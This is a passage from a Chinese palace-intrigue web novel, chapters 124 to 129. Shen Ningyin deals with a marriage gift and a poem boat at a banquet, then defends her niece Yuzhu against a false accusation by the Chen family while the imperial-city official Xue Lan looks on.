唯一叫沈宁音在意的，就是那玉观音。
沈宁音握紧了匣子，淡声道：“你先别急着拒绝，这匣子我拿着，等去问过了再来分说。”既决定了要管，沈宁音便也索性厚着脸皮去当面锣对面鼓。
永宁伯府没有适龄的姑娘，婚后的哥儿们也不似秦耀阳这般姿容出众还赋闲在家，个个都在军中历练。除了来相看的郑四郎外，再无旁人。
永宁伯夫人在宴席没聊上多久就被人给喊过去了。伯夫人到上游一瞧，只看见摔烂了的木船和撕破了的宣纸。
“哎呀！你这祸根孽胎，闹个什么脾气？”永宁伯夫人气得想抽儿子，然而武勋出身的郑四郎根本不怕：“你打，娘要是舍得，索性打死儿子。”
“你！”永宁伯夫人捂着心口，半晌狠狠吐了口浊气：“这会场那么多姑娘，你怎的就偏偏认死了一个？”
郑四郎脸上带笑，专程气老母亲似的又往破船跺了一脚。眼瞧着老娘抬手不顾形象要打人，郑四郎才连忙认真了神色：“我既已选了娘子，断没有骑驴找马的道理。”
永宁伯夫看他难得认真的神色，犹豫了一下：“你怎么就瞧上了那沈家姑娘？”
郑四郎不语，只是眼神躲闪：“不就是……今日瞧见了。”
永宁伯夫人蹙眉：“那，要是人家姑娘不选你，换了旁人？”
郑四郎一愣，眼底闪过抹慌张：“怎会？孩儿那么有诚意！我把我最要紧的东西都送她了。”
永宁伯夫人眉头越皱越紧：“你在匣子里放了什么？”
“……”郑四郎红了脸，张了张嘴，有些不好意思说。
恰此时，有仆婢走到永宁伯夫人耳边悄声禀告。
“什么？”永宁伯夫人听罢神色惊讶，紧接着，她连忙整理衣裙往来路去。
没几步，沈宁音已经款款而来。
“二少夫人。”永宁伯夫人按了按鬓角，扬起笑迎上去，分外客气：“少夫人怎么亲自过来？叫人说一声，我自会去寻你。”
“不妨事。”沈宁音的笑容在落到永宁伯夫人身后时顿了顿。
伯夫人还没扭脸过去，就听着自家
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那不成器的儿子难得规规矩矩地行礼声音：“二少夫人。”
伯夫人一看儿子，只觉太阳打西边儿出来了。素来行事不羁，野马一样的儿子此刻乖得像鹌鹑。
郑四郎脸上透着紧张，眼睛也不敢看面前的沈宁音超过半个呼吸。
沈宁音微微蹙眉，心下又有些意外。眼前的郑四郎她也是第一次见的。但前世，此人在两王之争里举足轻重，一年三迁，是元妃亲手提拔上去的勤王亲信。
景王与昭王，景王年轻，后面能与昭王斗得不落下风，全靠着手下们能力超群。最最要紧的是，前世的沈家，就是郑四郎亲手抄没的。
而如今，沈宁音想象里魁梧粗犷的男子，竟恭恭敬敬地在自己跟前，乖巧得似是面对长辈垂询。
“郑四郎君，不必拘谨。”沈宁音终于开口了，她一说话，郑四郎似乎松了口气。
伯夫人颇有几分尴尬在脸上，扯了个笑：“少夫人，此来可是有什么事？”永宁伯夫人也不想绕弯子了，只盼着赶紧将事情解决了，省得儿子在这丢人现眼。
沈宁音抬手从袖子里抽出那个红漆木匣子：“这是引章收到的礼物。”
甫一看见那匣子，郑四郎整张俊脸就垮了，他脸色泛白，想上前去，又不敢，前倾着身子问：“可是引章姑娘不愿意？”
“……”沈宁音抬头看着他。尤其永宁伯夫人，看自家儿子那不值钱的样子，都想叫人把他绑回去。
“她要退给我？”郑四郎身子晃了晃。
124. 缘分
沈宁音原是想来质问的，可听了郑四郎的话，心下不免纳罕。
她思忖间，永宁伯夫人连忙拉着她走到一旁小声说话：“二少夫人，这礼物可有什么不妥当？”
沈宁音这下明白了，永宁伯夫人没开盒瞧过？
沈宁音拿着盒子，顿了顿，方道：“东西贵重，我妹妹不敢收。”
永宁伯夫人一下子想到儿子说过，那是要紧的东西。当下顾着脸面，也不好因着贵重就收回来，连忙给她推回去：“哪有什么贵重不贵重的，都是孩子的心意。”
沈宁音摸了摸木匣，眼底复杂：“这礼，不是夫人放的？”
“是啊，是我儿挑的。”永宁伯夫人回头看了眼不远处垂头丧气的儿子，道：“我瞧着，他倒是有几分真心在……”
朱七郎与沈弦思之事闹到长公主处时，永宁伯夫人便动摇了结亲的念头。毕竟哪怕有侯府这层关系在，沈家也是个是非窝。永宁伯府最是爱惜羽毛。
可偏偏郑四郎不知从哪儿知晓了那位沈姑娘，央着永宁伯夫人去求。这才有了后面送礼一事。在她看来，沈家姑娘拒绝了也是好的。
沈宁音听在耳中，也并未给出明确的答复，稍稍寒暄了两句便走了。
送走沈宁音后，郑四郎连忙拉着永宁伯夫人：“娘，二少夫人什么意思？”他思忖事情并无太多弯绕，急得很。
永宁伯夫人见不得他这副不值钱的模样，索性道：“定是没瞧上你。”
湖边上，沈弦思与沈含鸢不知道去了何处，沈宁音回去时，倒是瞧见沈引章安安静静地陪在沈玉珠边儿上。
一见她回来，沈引章连忙局促地站直了身子。
“你先收着。”沈宁音拿出红木匣子递过去：“这亲事，推了可惜。”家世门第，是挺好的，在沈宁音看来，这一点已经足够。最难得这一世的郑四郎也对引章有心思。
有这层关系，总不至于将来他抄了岳丈的家。
而且，凡俗的爱，虽可能不长久，却能叫一个新嫁去夫家的女子得到相当多的助力。沈宁音想，若她也能有这般幸运，最初在侯府的日子也不会这么艰难。
她是盼着沈引章好的。
沈引章抿紧了唇瓣，片刻后，她到底把匣子拿在了掌心。却道：“二姐姐，我不想嫁。”
听着这小声却认真的话，沈宁音心里蔚为惋惜：“再考虑考虑吧？”
沈引章很是抵触，但她又对沈宁音的劝很听，一时心底纠结。
这时，沈玉珠醒了，两个人也顾不得这些事，忙关切地过去。
小姑娘揉着眼睛，有些沉默。许是不想叫两个姑姑担心，沈玉珠抬手指着湖面：“宁音姑姑，你瞧，那儿有个木船。”
沈宁音与沈引章顺着她手指的方向看过去，果然看见一艘绑着宣纸的木船卡在旁边儿的水草里。
这儿偏僻，又是视野盲区，船儿漂不下去，也便没有其他姑娘能捞着。
“倒是缘分。”沈宁音的目光在侄女和沈引章身上来回看了看。沈玉珠接连遇着水祸，自然不会去捞的，沈宁音的目光就落在了沈引章脸上。
可沈引章一见她看过来，连忙退了两步，唇瓣也抿得发白。
叹了口气，“那就算了。”沈宁音也没甚兴趣。
“宁音姑姑，你去捞来瞧瞧？”沈玉珠水汪汪的眼睛看着沈宁音。
小姑娘眼睛哭过，还有些肿，沈宁音在这种时候最是心软得厉害。沈玉珠拉着她的袖子：“就看看，也没旁人知晓。”
沈宁音不忍拒绝，叹了口气：“好吧。”
那木船挂在水草上，沈宁音扎着裙裾，又卷高了袖子，很是花了点力气才把船儿捞了上来。
别看都不积极，捞上来后三人却都挺好奇的。
等看清宣纸上的内容，三人都沉默了。
“赏花宴这样的地方，又沾了点相看结亲的意味在，大多写些风花雪月，谁家好人提笔湖畔，写山河壮志，写社稷国家……”沈引章抬眸看向沈宁音。
沈宁音不说话，沈玉珠便站起身抱着自己：“宁
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音姑姑，我冷。”
沈宁音便顺手将那宣纸收进了袖中：“走吧，湖边寒凉，先回去。”
几个人往回走，闵氏见她们回来，也没说什么。闵家几个姑娘诗书不成，捞上小船也对不工整，倒是因着让出诗词得了些不甚靠谱的手帕交。
偌大的席间沈含鸢也回来了。唯独沈弦思的位置一直就空着。
闵氏很有点恼火：“宁音，你不是看着人么？这人去哪儿了？”
沈宁音心思一沉，约略有了个猜测，抬眸柔声道：“长公主殿下的人想来更熟悉路，我请人去寻一寻。”
闵氏眉头皱紧，却又反驳不得什么，索性也坐了回去。
不过两刻钟的时间后，沈弦思终于跟在公主府侍女身后回来了。
侍女面沉如水，唯有沈弦思高昂着下巴，得意地看着沈宁音一眼。
沈宁音低头抿了一口果汁，却没看沈弦思，她的目光落在远处花树之下，那里是礼部侍郎家的席位，朱七郎满面春风地回到座位，甚至抬眸往沈家这儿打望。
上首，薛岩正说着话，一个番子附耳在他旁边儿小声说了几句。薛岩一双矍铄的眸子就瞥向了不发一语整个身子隐匿在阴影里的干儿子。
薛岩懒怠去敷衍旁人，笑着冲薛岚道：“船放了？”
“嗯。”薛岚没抬眼。
“当真？”
听了薛岩的话，他没说话，薛岚自知不做做样子这位薛督公定要念叨，是以，他索性动了点手脚。
想来那木船这会儿便是不沉也绝飘不去下游。
薛岚站起身：“皇城司还有差使。”
“急什么？”薛岩抬了抬手，自有人将一只木船拿了上来。
薛岚眉头微凝，一眼就看出那是自己放的船。无它，这船的帆做过调整，一飘远就会往边上拐，九成九该翻到水里去。
可是如今那船出现在这，船上的诗文却不翼而飞。
薛岩笑着摸了摸下巴：“也不知是哪家的姑娘捡了去。”薛岚脸色沉了沉。
125. 催婚
薛岩难得将目光瞥向旁边儿戏台子，台子上咿咿呀呀唱着一首《红鸾禧》，他也不管薛岚脸色，一面在椅子扶手打着拍子，一面笑着言语：“等等吧，等那姑娘对好了诗词送来。”
旁人不明所以，也都顺嘴劝，谁都知道，薛岚是薛督公最疼的干儿子，年纪也到了婚配的时候，再迟些，可就大了，薛岩会着急把人诓来这儿张罗亲事也是情理之中。但薛岚眸子本就凶戾，板起脸时就更显阴沉，目光一扫，便再没人敢说话了。
“坐下。”薛岩瞥着他，调子千回百转，带着太监特有的尖声。
“……”薛岚紧了紧腰间的玉佩，到底是乖乖坐了。
然而等了许久，等到宴席尾声，也没见谁家未婚的娘子送诗文来。
因着也没人瞧见原诗下落，饶是薛岩失望也没什么办法，只能眼睁睁看薛岚两袖清风地离席。
薛岩抿紧了唇凝眉，又捏了捏掌心的两颗玉珠子，眼神阴晴不定的。陪坐的大人们屏息凝神，大气都不敢出，生怕这位督主拿人撒气。
薛岩突然一抬手，众人哆嗦了一下，都忙慌慌看向他。却见一个小太监躬身走过来听吩咐。
“去查查，哪家的姑娘藏了诗文没回的。若有，绑也要绑回皇城司衙门。”
在场老大人都是一惊。皇城司的番子们几乎是无孔不入，他们较真起来，那是能挖地三尺叫朝堂众人抖三抖的。岂能查不到？
薛督公这一下算是公器私用，是犯忌讳的。若捅去圣人跟前，事儿就可大可小。
然而就是这样的把柄，薛岩偏偏就当着他们的面儿说出来了，声音还不小……
很快，有人回过味儿来，薛岩这番纯纯是借机试探，铲除异己，正所谓圣心难测，做臣工的，谁敢去赌圣人要重罚还是轻放？
薛岩这样第二顺位的权宦，要打，除非一记狠的彻底打死，不然，无妨圣人是重罚还是轻放，他只要不死，等缓过劲儿来，那可就是恣睢猖狷的疯狂报复。
在场老大人们冷汗涔涔。
大榕树下——
“薛岚！”清河郡主提着裙裾迎了上来。她前面的男人脚步略顿，看着她没说话。
李云英原是要发一番脾气的，可对上了男人那张好看的脸，顿时就软了声气儿：“怎么整场宴会都见不到你？”
她还想再问两句，语气渐渐带了丝不满，可薛岚安安静静的，也不说话。
从前的薛岚戴着沉甸甸的面具，整个人充满了肃杀，李云英虽偏爱他冷酷无情又事事顺着自己的反差感，但任性时，她这个郡主也可以毫不留情，可眼下不一样了，她还是头一次看全薛岚面具下的那张脸。
虽还是带了半片薄薄的软面具，但观其眉目五官，道两句朗月清风，玉貌仙姿也不会违心。李云英是真的喜欢的。
“我今日美不美？”李云英有些骄傲，抬高了下巴。她穿得像个元宵灯塔，任谁都瞧得出来是精心打扮过的。
薛岚目光越过她觑了一眼，这才毫无波澜吐出两个字：“甚美。”
明明是夸奖的话，李云英听了却蹙紧眉头，薛岚从前也夸她，连语调都类似，但男人那时戴着厚实的面具，她瞧不清表情，而今薛岚顶着这张谪仙般的俊脸平静地说出这等夸奖的话，李云英不满意了。
“你的表情可不像是在夸人，半点也不诚心。”清河郡主脱口而出。
圣人宠她，李云英是有这个本事和地位能不满意便将人留到自己满意为止的。
只是她还没再说话，身后就传来一道揶揄的声音：“唷，郡主殿下也在啊？”
李云英皱眉回眸，卞小公爷已经与她错身而过，与往常对李云英阿谀奉承的
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男子不同，卞小公爷忽视了她，直接冲薛岚道：“薛大人，找你一回可真难。”
韶国公府世袭罔替，又出过不少文臣，卞小公爷就是这一代翘楚，上京城顶顶好的簪缨权贵。
这等举足轻重的家族，正是那种但凡支持哪位皇子，便能撬动风向的。不论李云英的未婚夫昭王还是元贵妃所出的景王，两大阵营都在极力拉拢。适逢夺嫡的要紧时刻，就算尊贵得宠如李云英，也不得不为了大局忍着脾气。
薛岚很清楚这一点，卞小公爷一邀请，他便也顺水推舟跟着他离开。
“薛大人，听我一句劝，有些女娘，你再如何喜欢，有了婆家，你也别沾染。”卞小公爷说着话，回头看了一眼。
远处的清河郡主正在大发雷霆，看得卞小公爷直摇头：“这般骄纵的女娘，也就是薛大人能受用一二了。”
薛岚不说话，也没回头去看，语调淡淡的，分外欠：“有事？”
“……”卞小公爷大感惊诧，旧爱要嫁入皇家的薛使司天生不爱笑他理解，可这男人竟然半句也不接话就太让他看不懂了。
卞小公爷的眼神有几分复杂，默了好一会儿才道：“你可还记得那位心机深沉的姑娘？”
薛岚眉头微蹙。
“就是那个对小爷投怀送抱的！”
薛岚微挑眉梢，示意他说下去。
卞小公爷便将事情说了一遍。薛岚听罢眼神略深：“被逮了？”
“没错。”小公爷轻咳了声：“倘使她在旁人处得了教训，怕是要怪到小爷头上，冤枉了是我告发的。所以……这不是求你出个手么？也不白讨你的帮忙……我定会谢你的。”
薛岚看向卞小公爷的眼眸微眯——
一处墙根底下，站了好些人。沈宁音站在中间，而所有人盯着的，都是她身后的沈玉珠。
126. 诬陷
“宁音，这事儿原不该找你。毕竟你已经嫁去了侯府。可丫头们都说，那等没规矩的事儿都是玉姐儿的主意。”陈夫人扫了一眼周遭围过来的人，脸色也有几分不好看。
沈宁音将沈玉珠护在身后，做足了姿态要保到底。
她也没料到沈玉珠竟然还跟陈家扯上了关系。陈夫人陈小姐还有一群瞧热闹的人找上来时，沈宁音几乎要怀疑沈玉珠遭人暗算之事跟陈家人有关。
但，在她的印象中，陈大人虽有点野心，更多的是求稳，他能当上刑部员外郎全靠着自己，陈家没理由针对沈家。
当沈宁音的目光看向陈夫人身后的几个陈家小姐时候，这些人尽都低着脑袋，没有一个抬头看她。
沈宁音蓦然就想明白了。
“陈夫人。”她露出个笑：“一面之词而已，您可亲眼见着玉姐儿参与了？”
陈夫人一愣，周遭的议论声又大了些许。“宁音，你此话何意？”
陈夫人的声音拔高了些，沈宁音感觉到身后抓着自己衣角的沈玉珠颤抖起来。
沈宁音当即转身捏了捏沈玉珠的手。
小姑娘连忙抬眸，眼底闪过了慌乱与委屈。
转过脸去时，沈宁音笑容不变：“我非但不信我侄女会参与，更不可能信她会主动提议。”
陈夫人攥紧了帕子，大庭广众之下她脸上挂不住，怒道：“按你的意思，你侄女不会做这事，只有我几个女儿会这么没规矩了？”
沈宁音目光看向了陈青霜与陈四姑娘几人，笑容依旧：“这可不是我说的，分明是别人告发了陈家几位妹妹。”
陈夫人气结：“沈宁音，你岂能如此包庇？！若此事当真跟沈玉珠无关，她们怎么不攀诬别人偏攀诬你家玉姐儿……”
沈宁音打断她，抬着下巴正色道：“说话可要讲证据。有谁瞧见玉姐儿去男宾区域了？”
周遭没有一人站出来。
陈夫人环顾四周，压抑着怒气的目光就落到了几个女儿身上。
陈四姑娘原是低着脑袋的，这会儿忽觉芒刺在背，她抬头一瞟，当即心中怕得一颤，赶紧站出来：“我！我看见了！就是她！”陈四姑娘连忙抬手指着沈玉珠：“去男宾区域时沈玉珠跟咱们是在一起的！”
沈玉珠悲愤的眸子看过去时，陈四姑娘眼眸躲闪了一息，咬了咬牙：“就是她！咱们原本玩得好好的，是她提议去长长见闻，咱们不知怎的，就被她诓去了水榭那边。”
沈玉珠眼睛都红了，泪水在眼眶里打转。
陈四姑娘更心虚了，如今父亲终于成了正经的实权京官，她们姐妹也有幸来了属于权贵们的宴会。
尤其，还有门当户对的亲事找上了她与陈青霜。
陈四姑娘原本心气高，看沈宁音嫁入了高门备受追捧，她也想攀上高枝去，尤其平日里瞧不上的妹妹陈青霜竟然也有和她的差不多的人家来议亲，所以陈四姑娘不太看得上那家人，想要骑驴找马再观望观望。
可好死不死地，她们姊妹相携去男宾区的事儿给当场捅出来了！这一来，若是不好生解决了此事，莫说什么高枝了，就连现在那门当户对的亲事也都要黄了。
陈夫人素来严厉，平日里陈四姑娘再骄纵也只敢背着母亲做，如今姐妹几个都恐慌极了。
东窗事发被人言之凿凿的告发，抵赖不了半点，陈四姑娘下意识就想把事情都扣在陈青霜脑袋上。
可这次的事情太大，陈青霜一下子就意识到陈四姑娘的想法。当即抢先一步提出推给沈玉珠。
只要推说沈玉珠是主谋，那么她们这些从谋就轻得多了。
陈四姑娘哪里肯叫陈青霜在一旁躲着就自己一人丢脸？当下用力一拽，就将陈青霜拉到
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面前来：“五妹妹！你也瞧见了是吧？”
陈青霜一哆嗦，感受着所有人的目光，尤其，当她看见沈宁音的眼眸时，她瞳孔缩了缩。一想到嫡母的手段，陈青霜只觉得往日的疼痛犹如跗骨之蛆，密密麻麻蔓延在自己的每一寸肌肤。那些折磨，仿佛还在昨日。
陈青霜伸手抱住自己的手臂，咬牙点头：“没错！我……我们都是被玉珠姑娘蛊惑的。”
沈宁音没说话，对陈青霜此人，她已经生不出失望的感觉了，她越是这样平静，周遭的人越是指指点点。
但虽议论谁的都有，更多的，却是冲陈家女去的。
毕竟当时的沈玉珠根本就没跑掉，陈青霜等人也没料到因着这个，她反倒没叫人看见狼狈地跑回去。
如今，沈玉珠非但逃过了非议，而且，在所有人都针对沈玉珠之时，沈宁音竟然这样无条件地信任她，这样毫无底线地保护着她。
陈青霜手指收紧，她一时想起了自己的姐妹、母亲，甚至想起了从前的沈宁音。
是了，那个高高在上的侯府少夫人，未来的掌家主母，曾经最护着自己，最喜欢自己。
她的喜欢、维护，她的首饰、衣裳、曾经统统都是给自己的啊！
渐渐的，陈青霜看向沈玉珠的眼神从嫉妒化作了怨恨。
“我没有！”气红了眼的沈玉珠终于迈步走到了前面，攥紧拳头：“你们血口喷人！”
陈青霜瞠大了眼睛抬头：“你敢说，你不是和我们在一处？”
“我……”沈玉珠的嘴唇颤抖，一时说不出话来。
陈青霜咬紧了后槽牙，豁出去了，抬手就将裙裾往上拉：“这个伤！就是你眼看着要被人发现，将我推倒留下的！”
沈宁音离得近，看清了陈青霜脚踝处的一块伤痕，青紫的皮肤上被刮擦掉了一小块片，已经结痂。
127. 别怕
陈青霜腿上的伤痕有淤青，有破皮，若是故意为之，实在太过真实。在场众人都信了大半。
陈夫人也松了口气，心里的底气更足了。
众人探究的目光这下尽都落到了沈玉珠身上。沈玉珠颤抖着，不敢抬头。
沈宁音转眸去瞧，发现小姑娘委屈得将掌心都掐出了血来，却一个字都反驳不出来。
偏这种时候，沈夫人提高了声音道：“除了这伤，还有人证呢！”
沈宁音眼眸微瞠，她虽相信沈玉珠，可当那小厮走出来时，她心下也沉了几分。
无他，这小厮一身藏青色短打，制式竟是国公府的样式，虽没挂着腰牌，但他的衣裳沈宁音前世却认得。
那是圣朝最老牌的门阀家族，世袭罔替的韶国公府。对于这样的大族，他们甚至不用在皇权争斗里站队。只要他们想表态，那对与错，都不重要了。
在沈宁音前世的印象里，韶国公府的人几乎从不在公开场合表态。或许有，但应该也不会给传到外头去。
而现在，国公府的人要指认沈玉珠！
陈夫人脸上已是胜利的喜悦：“你且说说，在场这么些人里头，你可看见了谁，跟着那边几位姑娘跑回前院？”
那小厮眼神猥琐地扫过去。未出阁的姑娘们皆是往后头躲。在他扫到沈宁音时，小厮瞳孔一缩，他几乎下意识往后退了半步。
沈宁音在一群人中瞧着最是和气温婉，可那双乌黑的眸子里，此刻竟沁出旁人察觉不出的威胁与杀气来。
“怎么？可是忘了？”陈夫人咬牙提醒的声音在小厮耳边乍起。这一下，忘乎所以的小厮回过神来，他也不敢再节外生枝看旁人，凝重的目光落在了沈宁音身后，抬手一指：“是她！就是这位姑娘！”
沈玉珠如遭雷击。这么多人看着，那人却精准地找到了她。
小厮的声音带着愤愤不平：“就是这位姑娘，分明与那几位姑娘一起的，当时笑得十分得意欢欣，小人虽不认得她，却十分不齿！”
“你胡说！”沈玉珠惊怒交加，她抓着沈宁音的袖子，就像抓着最后一根救命稻草，哭得柔肠寸断：“姑姑！你相信我，我不认识他，也根本从未看见过他！他撒谎！”
沈玉珠委屈到无以复加，她知道自己被冤枉了，可真实的情况，她更不可能宣诸于口。
沈宁音安抚地握着侄女的手，神色阴沉地看向那小厮。这人在撒谎，她能感觉得到。只是，她无法确定，来指认沈玉珠是小厮的意思，还是他背后韶国公府的意思。
陈家，她不惧，但若然要和韶国公府对上，那便一定会将沈家，将昌平侯府都拖下水。
权衡利弊之下，沈宁音一时没想到完全的应对。
那小厮眼瞧着平日里高高在上的贵族姑娘因为自个儿几句话哭得满脸泪痕，表情甚为得意，冷笑：“姑娘不认得小人，小人还不认得姑娘呢！小人只是认出了姑娘的模样实话实说罢了。”
小厮顶着韶国公府的背景，一说出这些话，周遭的议论风向就都
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变了。
“就是啊。沈家姐儿以为自己是什么身份？人人都想攀诬她不成？”
“没错！既做下这等不知礼数的事，一推四五六，将自个儿摘了个干净，倒想让员外郎家的姑娘来背这口锅，没想到竟如此恶毒。想来沈家女儿也不过如此。”
一声又一声刺耳的话语让沈玉珠小脸煞白，她死死盯着沈宁音的脸，气声带着哭腔：“宁音姑姑，连你也不相信我么？”
沈玉珠的这一句话，如醍醐灌顶，将沈宁音脑海里的杂念纷纷屏蔽开去。仿佛周遭的声音尽都化作了安谧。
沈宁音用力握紧了侄女的手，声音很低，但语气坚定：“姑姑信你！”
看着小姑娘脸上哀戚的神色略略回暖，沈宁音用力抱了抱她，这才松开了手。
沈宁音暗叹自个儿重活一世，竟差点儿又陷入了迷惘，真真是不应该。都死过一回了，又有什么可瞻前顾后的呢？
沈宁音握紧沈玉珠的手：“玉姐儿别怕！”她缓缓转眸看向那些人。
在场所有人里头，除了沈引章脸色苍白地还站在不远处外，就连沈弦思、沈含鸢都挨着人群冷眼旁观。
可即便如此，沈宁音站在那里，陈家众人却都感受到了一种“虽千万人吾往矣”的决绝与强大。
原本想说两句狠话的陈夫人此刻竟也鬼使神差地将话都咽了回去。
就在这时，人群外传来骚乱声。外围有谁喊了一句：“皇城司来人了！”
沈宁音循声望去——
128. 守护
薛岚突然前来，让所有在场之人都是一惊。他出身卑微，是宦官佞臣的假子，可架不住他有个如日中天的干爹。如今又露了这般俊彦模样，女娘们几乎挪不开眼。
但姑娘们可以见色心起，现场做长辈的可不能。莫说跟太监做亲家，也不提眼前这位薛使司会不会也是个阉人，但论皇城司以往的风评，都没人想沾上这群恶犬。
那么多双眼睛追随着他，薛岚却目不斜视，他抬起手臂，宽松的深衣袖子下滑，露出一截白皙的腕骨，修长分明的指节上是他常戴着的玉扳指。
薛岚的手指摩挲扳指的同时，目光飞快地扫了一眼沈宁音。
沈宁音低下眉目，浓密的长睫在乌黑的瞳仁上投下迷蒙的阴影，瞧不清表情。
众人不知所措时，薛岚的脚步略顿，黑缎白底的皂靴尖儿正对着陈家几人。
陈夫人的心底没来由地一咯噔，脸上浮现五六分忐忑，打招呼：“薛大人……”
皇城司的番子手眼通圣，遇事狠辣逆天，但凡是身在上京官场之人，都畏之如虎，紧张是本能的。
一眨眼的功夫，陈夫人已经将自家男人最近办的差使，做过的事儿统统都过了一遍脑子。
陈夫人自认为陈大人当上员外郎并不久，些许早年的旧案也轮不到她丈夫担责，招惹不上皇城司，更没哪里得罪眼前这位皇城司公事，她这才松了口气，露出笑容迎了上去：“薛大人。”
薛岚抬眸看去，脸上没什么特别的表情，陈夫人寒暄：“前几日使司大人带来的郎中极有本事，我儿的伤势已经好多了。”
陈青霜与陈四姑娘听了母亲的话，惊讶之后，都露出一抹得意来。
沈含鸢跟沈弦思则是往人群后头躲了躲，她们尽量离沈宁音与沈玉珠远着些，生怕一会儿自个儿被牵连。
沈引章则是脸色惨白，惊慌失措地看向沈宁音。
沈宁音也很懵。饶是她重活一世，也绝料不到陈家跟薛岚有这样好的私交。
陈夫人眉梢眼角都带着喜色：“薛大人，您可要替我女儿们做主啊。”
陈四姑娘看过去的时候脸色有几分羞赧，笑容矜持，丝毫没了将才的慌乱无措。
薛岚环视一周，嗓音沉润：“本官不是来办差的。”
除了自认为跟他有渊源的陈家人，其他权贵女眷们尽都松了一口气。
毕竟那可是监察百官，圣人直辖的皇城司，能做到眼下地位的勋贵官员，谁家没几个被这群疯子抄家的亲戚？没人敢保证他不是来拿人下狱杀头的。
“本官正要离去。”薛岚顿了顿：“听着此处喧嚣，便过来瞧个热闹。”
所有人面面相觑，皇城司这等张嘴便要从人身上撕块肉的鹰犬恶狗，哪有瞧热闹的时候？薛岚不说这句还好，一说出口，周遭之人又紧张起来。
陆陆续续有站得远些的人想要跑。薛岚就似看不出众人所想般，语气淡淡：“本官也不是来做主的。若有事，你们且自便。”
不放心薛岚所作所为跟来躲在人群外的卞小公爷闻言指甲一掐，生生掐断了抓着的树枝：“真不靠谱……”
他可不是央这人来看戏的。
陈四姑娘与陈青霜听罢，眼底的得色肉眼可见地暗了下去。不过，陈家人却是不慌的。就算薛岚不帮忙，只要站在这儿，都算是自家的底气。
沈玉珠眼底露出几分绝望来，她认得那身靛蓝色衣
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裳，她几乎可以确定，自己倒进那年轻贵公子怀里时，这人就在现场！
沈玉珠的身子不可抑制地颤抖起来。终究是因为自己，让姑姑颜面扫地，因为自己，让沈家蒙羞。
那些人一定不会放过自己。
沈宁音感受到了侄女孤绝颓靡的气场，咬了咬牙抬头看向了陈夫人：“妾身还是那句话，捉贼拿赃，圣人治下清明，长公主公正不阿，断不会容许这等捕风捉影的冤屈在。”
“谁来……都一样！”沈宁音说最后一句话时，锐利的目光迎着薛岚刺了过去。
沈玉珠感受到沈宁音抓在自己小手的力道、看着姑姑坚定的背影，她一想到姑姑那么地相信自己，眼泪就吧嗒吧嗒直往下砸。
“姑姑……”沈玉珠回握住姑姑的手，面对姑姑看过来的目光，她哭着缓缓摇头。
她不争了，她放弃了，不是因为做了错事而忏悔，亦不是懦弱而退缩，相反，沈玉珠做出这样的决定，几乎用尽了她所有的勇气。
她已经不是三岁稚子，明白了形势比人强。众口铄金，不低头又能怎么样呢？那些劝人向善，教人中通外直不蔓不枝的金口良言，长大后发现——
都是骗人的！
这一刻，所有人都在隔岸观火，唯有姑姑，只有她一人站了出来。沈玉珠瞳仁里的光亮慢慢坚定，她抱紧了姑姑的胳膊。
这一次，换自己来护着姑姑！付出名声，脸面，任何东西，她都在所不惜！
而站在人群外，目光无声笼罩着小姑娘的卞小公爷，蓦地感觉心尖莫名一颤，他看那人，手覆上胸口。总觉得里头，很深的地方，有种陌生的感觉。
有些酸涩，还有些疼。
129. 奉陪
沈玉珠肯忍让肯退步，越是这样，沈宁音心中越是坚定地护着。
在众人看来，薛岚已经放言要作壁上观，沈宁音偏冲着他展露强势态度，这不啻于螳臂当车。
这些皇城司公事们可与旁人不同，律法、规矩，他们若铁了心不守着，也没人能拿他们怎么样，他们更擅长拿律法、规矩去将人往死路上赶。
也就是三个月前，曾有权贵红人自矜身份高贵，不把人放在眼里，得罪了其中一位公事，最后，生生被人家找到了一个远亲与伪朝旧臣相勾结，最终被株连，全家流放。
上京城这些簪缨大族，天朝上流，哪家没几个远房亲戚的？
众人尽都不敢作死招惹薛岚，可若是别人作死，那就在没有比这种热闹更爱看了。
“呵。”陈夫人嗤笑一声：“秦少夫人，您可别顾左右而言他，我的女儿被你们家玉姐儿牵连，累及了名声，如今这么多人瞧着，总归要给个说法，你身份虽高，却也别想耍赖！”
薛岚目光一直关注在沈宁音脸上。见她听了这话丝毫不见慌乱，冷静得连他都不由得侧目。
沈宁音就有这点好，越是紧张的形势，她反而越冷静。她知道，陈夫人从来客气，但那是在没有涉及根本利益的前提下。
如今陈家女儿们要是坏了名声，陈夫人这次好不容易盼来的联姻机会要泡汤不说，摊上这种事儿，只怕就连普通京官家都要挑拣她家的。
“陈伯母！我沈家待你家不薄，您岂能这样？！”沈引章沉不住气，红着眼圈愤愤开口。
沈宁音听罢，眉头略蹙，她也知沈引章没有恶意，可沈引章到底没经历过宅院里头的阴司，情急之下话里头漏洞百出，反会叫人作了垡子。
果然，下一瞬，陈夫人眼眸一亮，冷笑着上前两步：“错了就是错了，就算扯出来这层关系也不能改变。”
沈引章脸色一白，她没经验却也不是个蠢人，一听这个就知自己说错话了，她这话倒像是变相承认侄女有错似的。
“不过既然你们家都说到这份儿上来，那我也不为难你家玉姐儿。”陈夫人转头看向沈宁音道：“只要二少夫人让玉姐儿当面儿给认个错，我就替闺女们做个主，这事儿就这么算了。”
她一脸大度，惹来一众人夫人们赞不绝口。有薛岚在，又有卞小公爷家的家奴，任谁都知道该怎么站队。
“姑姑……”沈玉珠冰凉的手在沈宁音掌中轻颤：“算了吧……认个错而已，我认了……”她眼里的光亮暗淡，眼神有几分涣散。
沈宁音心下一紧，用力握住了沈玉珠的手，想要安抚她。
四面楚歌，委实艰难。尤其，连唯一鼓起勇气帮忙的沈引章，也是帮了倒忙，此刻沈引章眼睛通红，快要哭出来了，看向沈宁音的目光中只盈满了自责与伤心。
所有的一切，似乎都朝着陈家人倾斜。
薛岚静静看着，一双凶戾的眸子带着几分审视，他忽然有几分好奇，这样的情况，眼前的女人会怎么做？
“我还是那句话，我们家的玉姐儿，天性纯良，本夫人绝不相信她会做这所谓的主谋。”沈宁音神色严肃，盯着陈夫人的眼睛，忽然弯了弯嘴角：“若陈伯母不信，那便对簿公堂。我沈家，昌平侯府，定奉陪到底！”
所有人都震惊了。
沈弦思瞬间黑了脸，沈含鸢也顾不上避嫌了，提着裙摆就跑了过去：“沈宁音！你什么意思？！你侯府也就罢了！咱们侍郎府何时准你说了算了！”
沈宁音目光一瞬不瞬地盯着陈夫人。陈夫人显然也惊得不轻，变幻着神色一时说不出话来。
此时，沈宁音袖子一紧，就听见沈弦思咬牙切齿的声音低低地传来。沈弦思声音极小，只有她们两人能听见：：“你疯啦？！你一个出嫁女，你甚至都不是我们沈家血脉！你凭什么来管我们沈家的事、做沈家的主？”
